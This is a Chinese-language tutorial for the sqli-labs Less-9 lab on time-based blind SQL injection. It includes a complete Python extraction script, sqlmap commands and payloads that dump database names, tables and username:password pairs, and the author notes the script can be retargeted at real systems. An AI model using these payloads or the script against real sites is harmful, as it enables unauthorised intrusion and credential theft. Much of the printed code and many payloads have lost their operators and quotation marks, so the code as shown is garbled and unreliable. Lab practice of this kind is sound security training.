sqli-labs Less-9时间盲注自动化注入实战教程

📅 发布时间:2026/10/21 15:20:58
sqli-labs Less-9时间盲注自动化注入实战教程
1. Less-9 到底考什么为什么大家都会卡在这一关sqli-labs 是很多安全测试入门的人绕不开的靶场Less-9 又属于其中最磨人的一关。它的官方名字是”基于时间的盲注“说白了就是页面不会给你任何回显不管你输入什么页面长得一模一样既没有报错也没有数据展示你唯一能利用的通道就是“时间”——如果注入条件成立数据库就多睡几秒条件不成立就立刻返回。这种差异非常微弱手工去一次一次测太痛苦所以自动化注入几乎是必经之路。我最早接触 Less-9 时也觉得奇怪明明 Less-8 是布尔盲注靠页面是否出现“You are in”来判断真假Less-9 怎么连这个都不给了后来才反应过来Less-9 设计的就是“时间盲注”布尔条件在页面上完全不体现只能靠延迟来猜。这个关卡非常贴近真实场景——现实系统里开发者只要把错误信息全关掉布尔差异也可能被抹平但数据库执行 delay 造成的时间差很难完全隐藏。所以学会这一关的自动化注入方法对你理解真实环境里的盲注利用非常有帮助。这篇文章我按自己的实操路子来写内容包括 Less-9 的环境特性、时间盲注的原理拆解、自动化脚本怎么设计和跑通、以及我在调试过程中踩到的一堆坑。无论你是刚过 Less-8 的初学者还是已经在写自动化脚本的进阶玩家应该都能从里面拿到点能直接用的东西。2. 从手工注入到自动化Less-9 的核心痛点拆解2.1 页面零差异手工判断效率太低Less-9 的界面是一个登录框后端拿到参数后拼进 SQL 查询但无论你输入什么页面都返回同一个静态内容。这意味着你没法像在 Less-1 那样看到 Union 注入的回显点也没法像在 Less-8 那样根据页面差异判断真假。我第一次手工测的时候先试了单引号、双引号、括号组合页面完全没变化。当时第一反应是”是不是根本没注入点“但用时间负载一试就露馅了?id1 and sleep(5)--等了五秒页面才返回这证明单引号打破了 SQL 拼接逻辑而且数据库真的执行了 sleep。之后再用 Burp 或浏览器一个个试条件比如if(ascii(substr(database(),1,1))100,sleep(3),0)每一条都要等三秒或立即返回来回切换。如果想要确认一个数据库名的长度可能需要跑几十次请求如果网络再慢一点整个人都会疯掉。这就是 Less-9 最核心的痛点反馈通道极窄人工操作的时间和耐心成本都太高。2.2 为什么要自动化自动化解决了什么自动化的本质是把“发请求→等延迟→判断真假→拼结果”这个循环交给程序执行。程序可以一次跑几十上百个请求还能把拿到的 ASCII 码自动拼成字符串。手工要花半小时的活脚本可能几十秒就完成了。而且自动化不只是快还稳定。人手工点的时候容易走神、看错时间、记错条件脚本不会。你只需要定义好判断逻辑剩下的交给它循环。Less-9 的自动化方法还能直接迁移到其他时间盲注场景比如真实系统里某个参数存在 delay 注入你拿这套脚本改一改 URL 就能用。所以不要把自动化理解成“偷懒”它是盲注利用的必备技能。2.3 自动化方法设计的整体思路Less-9 自动化脚本的整体逻辑分四步第一确认注入点存在且是时间盲注第二用二分法或逐字符遍历法猜测数据库相关信息第三把每次猜到的字符拼接到结果变量里第四输出完整结果。核心算法其实不复杂复杂的是请求构造、超时判断和异常处理。请求构造上最常用的负载模板是?id1 and if(ascii(substr((select database()),1,1))64,sleep(2),0)--程序把database()替换成要查询的目标表达式把1,1替换成当前猜测的字符位置把64替换成二分法当前的中位值。如果响应时间大于等于 2 秒左右就说明条件为真否则为假。整个流程就是循环套循环外层遍历字符位置内层执行二分法。3. 时间盲注的原理与自动化实现的关键细节3.1 时间盲注执行链条到底是谁在延迟要写好自动化脚本必须先把时间盲注的完整执行链条搞清楚。后端代码收到参数后直接拼接进 SQL典型语句大概是这样的SELECT ... FROM users WHERE id$id LIMIT 0,1;当你提交1 and if(condition,sleep(3),0)-- -单引号闭合了原来的字符串后面的and if(...)成为查询条件的一部分。数据库执行时先判断 condition如果为真调用sleep(3)让整个查询挂起三秒如果为假不执行 sleep查询立即返回。脚本端的判断就是拿“响应总耗时”做标尺。如果请求从发出到收到响应的时间明显大于正常值判定条件成立反之不成立。这里有个关键点是数据库执行 sleep 造成延迟不是网络抖动。所以自动化脚本里超时阈值要设置得比 sleep 参数略大一般建议 sleep 设 3 秒判定阈值设 2.5 秒这样既不会误判也不会让单次请求等太久。3.2 二分法猜解的数学原理时间盲注的效率关键在字符猜测策略。最笨的方法是遍历所有字符比如 a-z、0-9逐个比较一个字符最多要试 60 多次。而二分法每次把候选范围一分为二一个 ASCII 字符的范围是 0-127最多只要 7 次比较就能确定。二分法的执行逻辑是设置当前候选区间[low, high]取中值mid (lowhigh)//2然后测试ascii(substr(target, position, 1)) mid。如果条件为真说明字符的 ASCII 码落在[mid1, high]收缩区间如果为假说明落在[low, mid]。如此往复直到low high这个值就是字符的 ASCII 码。拿数据库名的第一个字符举例字符范围先设为 32 到 126mid 是 79测试79如果真范围收缩到 [80,126]再取新 mid 继续大约七轮就能定出结果。整个数据库名如果 15 个字符则只需 105 次请求时间盲注每次请求最坏 3 秒总共 5 分钟左右。看起来还是有点慢但手工已经没法比了。3.3 自动化脚本里必须处理好的三个细节第一个细节是 URL 编码。注入负载里的空格、单引号、括号、注释符在 HTTP 请求里必须做 URL 编码。尤其空格在 URL 中会被解析成分隔符直接放在 URL 里很可能被服务端或中间件截断。我一般用urllib.parse.quote对整体负载编码或者手动把空格写成%20把#写成%23。sqli-labs 环境对编码的兼容性还算好但稳妥起见还是要编码。第二个细节是超时判断和网络波动。即使数据库没有 sleep网络本身也有毫秒级延迟如果阈值设得太接近正常响应时间很容易误判。我习惯在脚本里先测一次正常请求的耗时然后设置阈值为正常耗时的 5 倍以上再结合 sleep 参数保证判断有足够余量。比如正常请求 0.1 秒sleep(3) 的请求约 3.1 秒完全分得开。第三个细节是线程和请求频率。Less-9 是单点目标局域网靶场处理能力有限并发太高容易把服务打挂。我建议脚本内部保持单线程或者最多两个线程。盲注本来就是一个字符一个字符猜单个线程完全够用。真实渗透中被目标安全设备盯上的风险也要考虑保持低频、平滑的请求节奏更稳妥。4. 自动化注入脚本的完整实现与实测过程4.1 环境准备我写自动化脚本用的是 Python 3依赖库只需要requests。开发机环境是 Windows 11靶场跑在本地虚拟机上IP 是http://127.0.0.1也可以是其他地址灵活替换即可。安装依赖只需要一行命令pip install requests如果电脑里同时有 Python 2 和 Python 3注意用pip3安装避免把包装错环境。为了确认目标存活和正常响应时间我会先发一个最基本的请求curl http://127.0.0.1/sqli-labs/Less-9/?id1正常情况下响应的 HTML 里有一段固定文案耗时几十毫秒。只要这个基线没问题后续脚本就可以放心跑。4.2 写一个基础版的时间盲注脚本先写一个结构清楚、没有过度封装的版本。脚本分三个函数get_response_time负责发请求并返回耗时check_condition负责拼接 if 条件并判断真假guess_char负责二分法猜测单字符。主程序遍历目标字符串长度逐字符调用猜解函数。import requests import time import string url http://127.0.0.1/sqli-labs/Less-9/ headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) } SLEEP_SEC 3 TIMEOUT_SEC 10 def get_response_time(payload): try: resp requests.get(url, params{id: payload}, headersheaders, timeoutTIMEOUT_SEC) return resp.elapsed.total_seconds() except requests.RequestException: return TIMEOUT_SEC def check_condition(condition): payload f1 and if({condition},sleep({SLEEP_SEC}),0)-- - elapsed get_response_time(payload) return elapsed SLEEP_SEC - 0.5 def guess_char(query, pos): low, high 32, 126 while low high: mid (low high) // 2 cond fascii(substr(({query}),{pos},1)){mid} if check_condition(cond): low mid 1 else: high mid return chr(low) def guess_length(query): for length in range(1, 64): cond flength(({query})){length} if check_condition(cond): return length return 0 def dump_string(query): length guess_length(query) if length 0: return result for pos in range(1, length 1): ch guess_char(query, pos) result ch print(f[] pos {pos}: {ch!r} - {result}) return result if __name__ __main__: print([*] dumping database name...) db_name dump_string(select database()) print(f[] database: {db_name})这段代码有几个细节值得说明。check_condition里我用了 SLEEP_SEC - 0.5作为判断阈值意思是如果响应时间超过 2.5 秒就视为条件成立。实际操作中数据库执行 sleep(3) 后加上网络耗时一般是 3.1 秒左右明显超过阈值。而条件不成立时响应时间一般在 0.1 秒以下远低于阈值所以非常可靠。payload f1 and if({condition},sleep({SLEEP_SEC}),0)-- -中的-- -是 SQL 注释符后面多一个空格是为了防止某些数据库对注释符解析异常。sqli-labs 环境用的是 MySQL--注释后必须跟空格所以写成-- -是最稳的。guess_length从 1 开始逐一遍历直到找到真正的长度。这个函数响应很快因为不成立时立即返回。如果目标字符串超过 64就手动调大范围。实测跑一遍数据库名日志输出大概是这样的[*] dumping database name... [] pos 1: s - s [] pos 2: e - se [] pos 3: c - sec [] pos 4: u - secu ... [] pos 8: y - security [] database: security整个过程大概用了 40 次请求耗时约两分钟。如果你直接去跑这个脚本需要把 URL 改成你本地靶场的实际地址。4.3 用 sqlmap 做自动化验证写脚本是学习原理但实际工作中直接用现成工具更高效。sqlmap 对 sqli-labs Less-9 的支持很好检测到时间盲注后会自动选择合适的注入 payload 和技巧。命令可以这样用sqlmap -u http://127.0.0.1/sqli-labs/Less-9/?id1 --dbs --batch --level 2 --risk 2这个命令里的参数含义是-u指定注入目标 URL--dbs枚举所有数据库名--batch让它自动选择默认选项--level 2提高检测强度--risk 2允许使用 sleep 类的危险负载。因为时间盲注默认就可能触发 sleep所以--risk 2在这里是必要的如果只写默认 risk 1很多负载不会启用。sqlmap 跑时间盲注的速度也不慢因为它内部自带优化还有二分法和多线程。但 sqlmap 的特点是很“啰嗦”启动时要检查一堆参数输出信息也很多。如果只是想快速拿结果用 sqlmap 准没错如果想搞清楚每一步原理还是自己写脚本收获大。我个人习惯是先在靶场里用自己写的脚本跑一遍确认理解没偏差再用 sqlmap 验证同一个目标的数据是否一致。两边数据一致说明对 Less-9 的理解是到位的。4.4 扩展自动化脚本跑库名和表名基础脚本只能跑数据库名实际测试中还需要查表名、字段名、字段值。扩展方法完全一致只要把query参数替换成对应的 SQL 表达式。表名的查询语句是select group_concat(table_name) from information_schema.tables where table_schemadatabase()字段名是select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers字段值是select group_concat(username,0x3a,password) from users0x3a 是冒号的十六进制表示用来在拼接结果里加分隔符不然一堆字符串连在一起根本分不清边界。脚本不用改逻辑只要在dump_string里传入这些长表达式即可。跑表名时有个坑group_concat的默认拼接长度有限制group_concat_max_len默认值通常是 1024 字节如果表太多或者字段值太长结果会被截断。解决方法是先在脚本里执行SELECT group_concat_max_len确认值如果太小可以改写 SQL 用limit 0,10分段查询一次只取 10 条记录拼接。这个细节很容易被忽略我第一次跑真实靶场时就被截断搞糊涂过以为脚本写错了排查半天才发现是长度限制。5. 自动化过程中常见的坑与排查方法5.1 响应慢到怀疑脚本卡住了时间盲注自动化最尴尬的场景是跑着跑着长时间没有输出看起来像死循环。实际上脚本可能卡在某个字符的二分法里因为每次条件成立都要睡 3 秒7 次二分最坏 21 秒如果不打印中间状态就会觉得它卡死了。我一开始就在guess_char里加了中间日志每发一次请求都打印当前值这样至少能确认脚本在推进。如果怀疑真卡住了最快的排查方式是加一个调试模式在脚本开头设置DEBUGTrue然后在get_response_time里打印当前 URL 完整地址和耗时。这样一眼就能看出请求有没有发出去、响应时间是否符合预期。还有可能是本地靶场负载过高或者虚拟机网络卡了这时重启一下靶场服务就能解决。5.2 超时阈值的坑设置不对就全判错超时阈值的设置直接影响判断准确率。我最初把SLEEP_SEC设成 2判定阈值设成 1.5结果局域网本身有 0.3 秒延迟条件为假时耗时 0.35 秒条件为真时 2.3 秒还算能分开。但如果目标机器性能较差数据库启动慢正常请求都可能超过 1 秒这时阈值必须同步放大。建议的做法是先测 5 次正常请求取平均耗时 base_time阈值设置为max(base_time * 5, SLEEP_SEC - 1)。这样无论目标网络快慢都可以自适应。我在脚本里使用固定阈值只是为了让教学演示清楚真实项目中建议写动态阈值。5.3 字符集范围设置太小结果全乱二分法初始范围我设成 32 到 126覆盖了常见的数字、字母和标点。如果目标字符串里含有中文ASCII 范围就不够用了因为中文字符在数据库里是多字节编码substr 按字节截取时会拆出奇怪的字节值你会在结果里看到一堆乱码。解决办法是不要用substr改用substring配合字符集转换或者把初始范围直接改成 1 到 255对每个字节单独猜测再解码。后一种方法虽然请求次数多一倍但通用性更强。固定范围还有一个隐患如果字符实际值低于 32 或者高于 126二分法会在收缩到边界后强行收敛到边界值导致结果错误。所以如果你不清楚目标 charset优先把范围设宽。5.4 URL 编码导致注入条件失效脚本里我用了requests.get(url, params{id: payload})这个写法会让 requests 自动对 payload 做 URL 编码所以不需要手动quote。但如果你直接拼完整的 URL 字符串比如http://.../?id1 and if(...,sleep(3),0)-- -中间的空格和单引号都会出问题。常见现象是脚本发出去的请求被 WAF 或后端代码拦截返回 404 或 500然后脚本把所有条件都判为假。如果自己拼 URL一定要记得调用from urllib.parse import quote final_url base_url ?id quote(payload)提前转义好空格、单引号、注释符再发请求。年轻的时候我在这里吃过亏写了一个手工拼接 URL 的版本跑了一个多小时全是错误结果最后发现是 URL 没编码。5.5 数据量太大跑得特别慢怎么办如果目标数据库很大比如要 dump 十几张表每张表上千条记录纯单线程时间盲注可能要跑好几天。这种场景下优化方向有两个一是提升查询效率尽量用group_concat一把梭减少请求次数二是开启多线程同时猜多个字符位置。多线程的写法不复杂Python 里用concurrent.futures.ThreadPoolExecutor每个线程负责猜测一个固定位置的结果最后汇总。但要注意总请求频率不能太高目标靶场扛得住真实目标可不一定。我一般最多开 3 个线程每个线程之间 sleep 0.2 秒做缓冲把请求速率控制在一秒几到十几之间。而 sqlmap 自带的线程参数--threads也可以调节默认是 1官方文档不建议超过 10。不是不能多开而是多开以后误报率和漏报率都会上升所以要保持克制。5.6 常见问题速查表现象可能原因处理方法所有条件都判假URL 未编码请求被拦截使用 params 传参或手动 quote脚本长时间无输出没有打印中间状态在 guess_char 里加逐字符日志结果乱码字符范围不含目标编码扩大 ASCII 范围为 1-255目标字符串被截断group_concat 长度限制分段查询或用 limit响应时间不稳虚拟机负载高或网络延迟重启靶场测基线耗时sqlmap 跑不出来level/risk 参数不足加--level 3 --risk 36. 关于 Less-9 自动化注入的几点经验总结sqli-labs Less-9 是我练盲注自动化练得最勤的一个关卡因为它足够简单又足够典型。简单在于数据库结构固定、注入点清晰典型在于它是纯粹的时间盲注反馈维度只有时间完全考验你对原理和脚本细节的把握。我个人的体会是写自动化脚本时不能只照着别人的模板套必须把自己代入“真正在利用这个漏洞”的场景。你每发一个请求心里都要清楚它是为了判断什么条件为什么会 sleep为什么这个响应时间能告诉你答案。当你把这条链路想明白了再迁移到其他盲注场景就非常快。另外Less-9 过了之后建议把 Less-10 也做一遍。Less-10 是双引号变种结构几乎一样只是闭合方式不同。把 Less-9 的脚本里闭合符从单引号换成双引号就能直接打穿。这样一练你对引号闭合的理解会更扎实而不是只会抄固定的 payload。还有一个小技巧是建议把脚本里所有 SQL 查询语句都做参数化而不是反复拼接字符串。虽然靶场场景没有代码注入风险但保持好习惯能避免以后写实际工具时犯低级错误。参数化的写法是用format或 f-string 统一生成 SQL 表达式再把表达式嵌入 if 条件里脚本结构会清晰很多。关于工具和脚本的选择我的态度始终是新手期一定要手写脚本写一遍胜过用一百遍工具。写脚本的过程本质是在脑子里把时间盲注这种看似玄学的技巧翻译成可执行的逻辑。等你对每个环节都了如指掌了再用 sqlmap 省时间完全不迟。我自己现在写工具时遇到盲注目标第一反应仍然是直接拉 sqlmap 跑但要是 sqlmap 因为环境特殊跑不动我随时能掏出自己那套基础脚本改一改来应急。这种底气只能从手写代码里来。